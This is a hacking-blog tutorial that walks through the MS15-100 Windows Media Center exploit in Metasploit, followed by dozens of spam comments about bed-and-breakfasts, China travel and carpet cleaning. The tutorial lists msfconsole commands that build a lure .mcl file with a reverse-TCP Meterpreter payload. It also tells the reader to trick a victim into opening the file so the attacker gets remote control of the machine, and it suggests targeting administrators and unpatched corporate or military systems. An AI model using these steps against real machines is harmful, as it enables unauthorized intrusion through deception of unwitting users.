Select Page

How to Hack Windows Vista, 7, & 8 with the New Media Center Exploit

How to Hack Windows Vista, 7, & 8 with the New Media Center Exploit

Welcome back, my tenderfoot hackers!

Recently, Microsoft released a new patch (September 8, 2015) to close another vulnerability in their Windows Vista, 7, 8, and 8.1 operating systems. The vulnerability in question (MS15-100) enabled an attacker to gain remote access to any of these systems using a well-crafted Media Center link (MCL) file.

As hackers, we need to take a multipronged approach to gaining access to a system. Gone are the days of MS08-067 that would basically allow you to remotely take control of any Windows XP, 2003, or 2008 system. Now we have to be more crafty to find a way to gain access to the system.

The Adobe flash exploits have been, and continue to be, excellent gateways into Windows systems—if we can get the user to click on a URL link. Many applications have vulnerabilities, but before attacking those we need to know that they are on the system. That’s why reconnaissance is so critical

This hack is targeted to the Media Center on every Windows Vista, 7, 8, and 8.1 system. That makes it ubiquitous, but we still need to send the the victim an .mcl link to gain access to their system. Metasploit recently added an exploit to accomplish this task and that is what we will be using here (another exploit that accomplishes the same thing without the Metasploit framework does exist in the Exploit Database).

Microsoft Security Bulletin MS15-100 – Important

Here is what Microsoft said about this vulnerability (MS15-100) in their Microsoft Security Bulletin on TechNet:

Although the vulnerability has been patched, many systems don’t have automatic patching for a number of reasons, especially within corporate, large institution, and military installations.

MUST READ:  How to Hack Smartphones (Creating a Smartphone Pentesting Lab)

Just a warning. This hack is not for the newbie. I requires significant knowledge of both Linux and Metasploit to work.

Step 1Fire Up Kali

Our first step, of course, is to fire up Kali. This exploit requires that you have Ruby 2.1 on your Kali system, so if you are using Kali 1.1 or earlier, you will need to upgrade your Ruby. Kali 2.0 has the upgraded Ruby, so there’s no need to upgrade.

Step 2Go to Exploit-DB

Next, let’s go to the Exploit-DB. Under the Remote Code Execution Exploits section, we can find the exploit under its Microsoft designation, MS15-100.

  • Don’t Miss: How to Find Exploits Using the Exploit Database in Kali

When we select this exploit, it brings up the Metasploit code that we must add to our Metasploit framework. Copy and paste it to a text file in Kali.

Step 3Add New Module to Metasploit

Earlier this year, I wrote a tutorial on how to install a new module in Metasploit, so please refer to that if you need more help on this subject. You will need to add this module to your Metasploit framework before we can proceed. Name it ms15_100_mcl.rb. It may be that by the time you read this article, Rapid7 will have added this module to the framework and you won’t need to add the module, but time is critical here.

Step 4Start Metasploit & Search for New Module

Once you have added the module to Metasploit, start (or restart) Metasploit and search for the module to make certain it is available to you.

MUST READ:  Increase Wifi Signal Strength

msf > search ms15_100

If you find it, we are ready to roll!

Step 5Load New Module

We now need to load the module:

msf > use exploit/windows/fileformat/ms15_100_mcl

This loads this exploit into memory.

Step 6Info

Now that we have loaded the module, let’s type info to see what requirements this module needs.

msf > info

As you can see, we need to provide this module both the FILENAME and FILE_NAME. One is the .mcl file (FILENAME) and the other is the malicious file (FILE_NAME) we will load on to the victim’s system.

Step 7Set Options

As you can see in the screenshot above, this module will require that we set the name of the .mcl file (FILENAME) and the name of malicious payload (FILE_NAME). In an attempt to entice the victim to open my .mcl link, I’ll call it best_music_video_ever.mcl.

msf > set FILENAME best_music_video_ever.mcl

msf > set FILE_NAME best_video.exe

We also need to set a payload. In this case, I will use the Windows Meterpreter.

msf > set PAYLOAD windows/meterpreter/reverse_tcp

Finally, we just type exploit.

msf > exploit

Metasploit saved the file at /root/msf4/local/best_music_video_ever.mcl. That is the file we need to get to the victim!

Step 8Send the MCL File to the Victim

Metasploit has now created our .mcl file and opened a share on the network. We now need to send this file, one way or another, to the victim and get them to open it.

Note in the screenshot above that the victim’s Windows 7 system has the MCL file, best_music_video_ever.mcl on their desktop.

MUST READ:  Hack like a Pro: How to Find the Exact Location of Any IP Address

Step 9Take Control of the System

When the victim clicks on the .mcl link to watch the “Best Music Video Ever,” it will connect back to our Kali system opening a Meterpreter session. In my case, the session did not automatically open in Metasploit, but when I typed:

msf > sessions -l

I received this response showing me that a session had been opened on the victim machine. Success!

Now that I have a Meterpreter session, I can do just about anything on this system within the privileges I came in on. Since this exploit comes in with the privileges of the user, I will be limited to the privileges of the user who clicked on the .mcl file. Obviously, if we can get an administrator to click on this file, we will come in with their privileges, which would be much more powerful.

Keep coming back, my tenderfoot hackers, as we explore the most valuable skill set on the planet—hacking!


About The Author

He is the brain behind thenexthack.com. He started this platform as a one man army to bring news from the dark side or call it the hidden side of the Internet. He is a security researcher with an interest in cyber attacks, politics, and sport.

75 Comments

  1. With six you happen to be sure to find an exclusive or public course to match your game – try Pendleton Greens, Emerald Golf Course or Oceanside
    Municipal Golf Course.

    Reply
  2. Take a little time to function the oil deep into your skin, rubbing and
    kicking back the muscular tissues under your skin as you go.
    Work gradually and also carefully … take a breath deep,
    loosen up and also enjoy this deep self-care therapy.

    Reply
  3. What i don’t understood is in fact how you’re no longer actually a lot more neatly-appreciated than you may be now. You’re very intelligent. You understand thus significantly in the case of this matter, produced me in my opinion imagine it from so many numerous angles. Its like men and women are not interested unless it’s one thing to accomplish with Girl gaga! Your individual stuffs great. All the time handle it up!

    Reply
  4. We provide a getaway from the chaos of Canal Park to submerse on your own in the tranquil conveniences
    and also solace of house at the A G Thomson House Bed and Breakfast..

    Reply
  5. We recommend calling Isabella Bed And Breakfast to position your appointment in order to safeguard your repayment details.

    Reply
  6. Guests lodging at the Harvest Moon Bed and Breakfast could pick from a
    range of lodgings suited for people, couples, households
    and team keeps.

    Reply
  7. Whether it is having fresh-cut flowers waiting in a space, surprising a participant of your event with a birthday
    cake or arranging to have breakfast in bed, the Harvest Moon B and b can fit most requests.

    Reply
  8. Harvest Moon Bed & Morning meal is not just an overnight keep B and also B, but a classy
    and also roomy gathering place for little wedding events, business meetings and get-togethers.

    Reply
  9. This study note highlights the effectiveness of the hedonic price method in this sector by assessing desire to pay for certain qualities of bed and breakfast holiday accommodations.

    Reply
  10. Our traditional Scottish morning meal is served
    in our cosy sunroom with all round sights of surroundings and wild animals.

    Reply
  11. The vision of the B.S.A. is to prepare every eligible youth in The U.S.A.
    to come to be an accountable, participating citizen.

    Reply
  12. The Pink Bed and breakfast lies right by the harbour in Portree as well as provides B and b accommodation.

    Reply
  13. Whether right here for organisation or pleasure, the Alexander
    Manor B and b brings you a passionate morning meal as well as a relaxed night, enabling
    you to invite the wealth and also discover of social and entertainment tasks our lovely river community deals.

    Reply
  14. This research note highlights the usefulness of the hedonic cost technique in this industry by reviewing readiness to pay for particular attributes of b
    and b holiday accommodations.

    Reply
  15. Typically the owners themselves prepare the morning meal
    as well as clean the areas, but some b and b work with team
    for cleaning or food preparation.

    Reply
  16. Or possibly a scrumptious basket of homemade bread (gluten free
    if you desire,) cheeses and even more.

    Reply
  17. After a comfortable nights rest, guests can take pleasure in a fresh cooked
    breakfast offered in positive dining room.

    Reply
  18. Our Duluth b and b is preferably situated in the Historic Congdon (Glensheen)
    Estate Area, just minutes from downtown Duluth, Canal Park,
    the Glensheen Mansion, and also a wide variety of impressive dining establishments and also
    stores in our Lake Superior Port City.

    Reply
  19. Key needs that should be met for individuals remaining at
    b and b design lodging include: pampering and customised
    service in an appealing place in an appealing house, opposed to more ‘conventional’ hotelrooms.

    Reply
  20. The exhibit features 4 sections: 1) Streaming Sound of Ink – Chinese Traditional Ink Painting;
    2) The Pearl of Silk Road – Dunhuang Mural Painting; 3) The Brilliance Series – Elegance
    Li Wang’s Multimedia Painting; and 4) Art as well as Life artworks – Calligraphy, Paper-cut, Nano fine Art as well as movie art,
    etc

    Reply
  21. Our Duluth bed and breakfast is ideally located in the Historical Congdon (Glensheen)
    Estate Area, simply minutes from midtown Duluth, Canal Park, the Glensheen Manor, and a multitude of fantastic
    dining establishments and shops in our Lake Superior Port City.

    Reply
  22. Your search for a b and b in Duluth ends at the A G Thomson House Duluth Bed and Breakfast!

    Reply
  23. Whether it is having fresh-cut flowers waiting in a space, unusual
    a member of your celebration with a birthday celebration cake or preparing to have morning meal in bed, the Harvest Moon Bed and Breakfast could fit
    most demands.

    Reply
  24. Oceanside Pier which will be located in about the heart of the
    stretch is not about 3 miles short and breaks up
    the seaside area.

    Reply
  25. They will offer all Discover China participants wonderful understanding right into neighborhood trainee life and
    student society.

    Reply
  26. Initially, you should comprehend that there are essential distinctions between the
    Net in China as well as the Web in the majority of the world.

    Reply
  27. Discover Chinese history through the eyes of Western visitors, missionaries as well as finders,
    with this cost-free online training course.

    Reply
  28. Work in China: Conflicts over supposed misrepresentation of working
    and living problems for Australians operating in China,
    especially those educating English, occur regularly.

    Reply
  29. KEEP IN MIND: on Feb 3, 2015, Wells Gray Tours included an exchange surcharge for all vacationers.

    Reply
  30. In 2003 Gavin Menzies used it as evidence for his book 1421: the year China uncovered the globe”.

    Reply
  31. Also note that a few other Western brands that are taken into consideration informal in the West might
    take on an extra formal ambience in China.

    Reply
  32. This very first publication covers level 1 of the HSK Chinese examination, so it could be utilized for test preparation as well if required.

    Reply
  33. For those that want even more information at the price of speed (no 3G access), China Mobile Hong Kong actually charges much less
    compared to China Mobile correct at HK$ 148 for 2.5 GB data compared with ¥ 200 for 2GB, but bills the very same higher voice rates
    as China Unicom HK. They now provide a SIM with unfiltered 4G access at higher prices-HK$ 48 day-to-day (1GB at complete speed, then strangled to no much less compared
    to 128k), HK$ 118/1GB monthly or HK$ 198/2GB regular monthly.

    Reply
  34. Prevent photographing, videoing or taking part in protests or various other acts which might be viewed as provocative by authorities in Tibet, Xinjiang or elsewhere in China.

    Reply
  35. The initial part of the journey was with Uniworld (unsatisfactory) and also three weeks were an exclusive tour
    arranged with Discover China Tours.

    Reply
  36. Numerous Western-owned supermarket chains are widespread in China–
    Wal-mart (沃尔玛 Wòěrmǎ), City (麦德龙 Màidélóng), TESCO, and
    also Carrefour (家乐福 Jiālèfú).

    Reply
  37. A bus runs in between Kashgar (China) and Sust (Pakistan) throughout the Kunerjab pass.

    Reply
  38. I take added courses but occasionally I believe this book is so great that I might not even require the courses and
    just make use of the book.

    Reply
  39. Obviously, at high levels of profession irritants happen, and the EU stays
    firm on the demand for China to comply with its worldwide dedications.

    Reply
  40. Below is a top 10 listing of some of those most important to travellers in landmass China.

    Reply
  41. The phone can be provided to your resort in China before your arrival and
    dropped off there at the end of your journey, or shipped to you in the US.
    When you rent out the phone, they will certainly supply you an access
    code for phoning call to your nation, which is less costly compared
    to acquiring a SIM card from a local supplier and dialing directly.

    Reply
  42. Noise implies life, as well as China is rooted in a neighborhood
    based culture, so you may wish to bring earplugs for long
    bus or train trips!

    Reply
  43. It’s not uncommon a non certified money exchanger on China borders to alter
    counterfeits to visitors.

    Reply
  44. China has become one of the globe’s fastest-growing post-industrial economies since reforms were put into location in 1978 by Deng Xiaoping and also his fans,
    and its fast market growth since then has actually resulted in competition with the USA as well as
    Europe.

    Reply
  45. Ms. Buck won the Nobel Prize in Literature in 1938 for the body of her work about China.

    Reply
  46. Applications for Tibet Entrance Permits could just be lodged with
    specialised travel representatives in China and traveling could only be embarked
    on via organised excursions.

    Reply
  47. Quarantine needs differ throughout the provinces and towns in China.

    Reply
  48. I could not refrain from commenting. Exceptionally well
    written!

    Reply
  49. A method of the profession would certainly be to spray an extremely fine mist of water and detergent service
    (30-1) over the carpeting initially.

    Reply
  50. This is the solitary most beneficial of our rug cleaning ideas that you have to not fail to
    remember as this can aid you stop your carpet from having excessive
    dust and also unappealing spots.

    Reply
  51. So, if you feel that your carpets are messy, dirty or
    filthy, the best point to do is work with the best rug cleaner in Houston.

    Reply
  52. The sort of carpeting fiber is simply not the one
    variable that is including the total toughness irregardless of carpet.

    Reply
  53. We are a bunch of volunteers and starting a brand new scheme in our community.
    Your web site provided us with valuable information to
    work on. You’ve done an impressive process and our whole
    community will be grateful to you.

    Reply
  54. This not just is a safe, simple and economical method to
    find tidy your rugs, it additionally assists professional carpet cleaners
    appropriately clean your whole carpetings.

    Reply
  55. They can offer you a clue regarding how much time the
    carpeting needs to be dry, just how commonly you have to vacuum, as well as just what you could do to get rid of discolorations from carpeting future.

    Reply
  56. ServiceMaster Clean as well as ServiceMaster Bring back solutions given by individually owned as well as run franchises or
    corporate-owned branches.

    Reply
  57. We are also providing all types of services for Carpet cleansing Hong Kong/ Carpeting cleansing Hong Kong.

    Reply
  58. With havin so much content do you ever run into any problems of plagorism or copyright infringement?
    My site has a lot of exclusive content I’ve either authored myself or outsourced
    but it looks like a lot of it is popping it up all over the web without my authorization.
    Do you know any solutions to help prevent content from being ripped off?
    I’d genuinely appreciate it.

    Reply
  59. A trick of the trade would certainly be to spray an extremely great
    haze of water and also cleaning agent solution (30-1) over the rug initially.

    Reply
  60. There is no heavy steam in any of the rug cleansing machines; it
    is the warm water they are referring to.

    Reply
  61. Inconsistent to what most of the houses assume, working with a specialist for carpeting cleansing in Woodlands shows affordable.

    Reply
  62. The response is couple of and also straightforward appealing facts are
    stated listed below which motivate you to take services from expert homerug cleaner/ specialist house carpeting cleaner Hong Kong like us.

    Reply
  63. It’s constantly crucial to preserve these things by cleaning and refreshing them on a regular basis.

    Reply
  64. In sheer climate, moisture often gets tracked into the house and also could sink
    deep in the rug fibers otherwise dried and also vacuumed right away.

    Reply
  65. Several of the carpets shades are not quick at some point as a
    result of flooding in your home, water leak from the
    dehumidifier leakage from any type of water pipe in your house rug could
    shed its color.

    Reply
  66. Great post. I was checking constantly this bllog annd I am impressed!
    Extremely helpful ino specially the last paet 🙂 I care
    for such infrmation much. I was seeking this certain information for
    a long time. Thank you and good luck.

    Reply
  67. Expert carpeting cleaning services already understand how to handle different carpet types,
    so cleaning up carpets will certainly no
    more be a problem, plus you are ensured to have your carpetings looking comparable to
    new.

    Reply
  68. Normal cleansing will not just improve your home’s look, but it will get rid of germs and irritants,
    boost your house’s indoor air high quality and prolong the
    life of your carpeting.

    Reply
  69. Good day! I could have sworn I’ve been to this blog before but after browsing through a few of the articles I
    realized it’s new to me. Anyways, I’m definitely delighted I stumbled upon it and
    I’ll be bookmarking it and checking back often!

    Reply
  70. Heya i’m for the first time here. I came across this board and I find
    It really useful & it helped me out much. I hope to give something back
    and aid others like you aided me.

    Reply
  71. Great blog here! Also your web site loads up fast! What host are you
    using? Can I get your affiliate link to your host?
    I wish my web site loaded up as quickly as yours lol

    Reply
  72. That being said there are many occasions where a black
    dress shirt can make the perfect statement and even help you stand out and look smart.
    Just make sure that you create a symphony of color.
    The little black dress will take you everywhere with understated
    elegance and is so easy to take from day to night with ease.
    The strips are then sewn together at the ends and then braided together.
    Do not discounted its benefits and the lessen and ease it will give your life.

    Look for just one colour within the pattern of the outfit and use this as the chosen colour of the jewellery.

    Reply
  73. Take a look on the listing of the three simple signifies to
    earn cash onlinbe withh out start up price.

    Reply

Leave a reply

Your email address will not be published. Required fields are marked *

Sign up for premium Hacking Tutorials

ADVERTISE

Your ad can be here. Contact us: [email protected]

TNH FORUM

For more Premium Tutorials LIke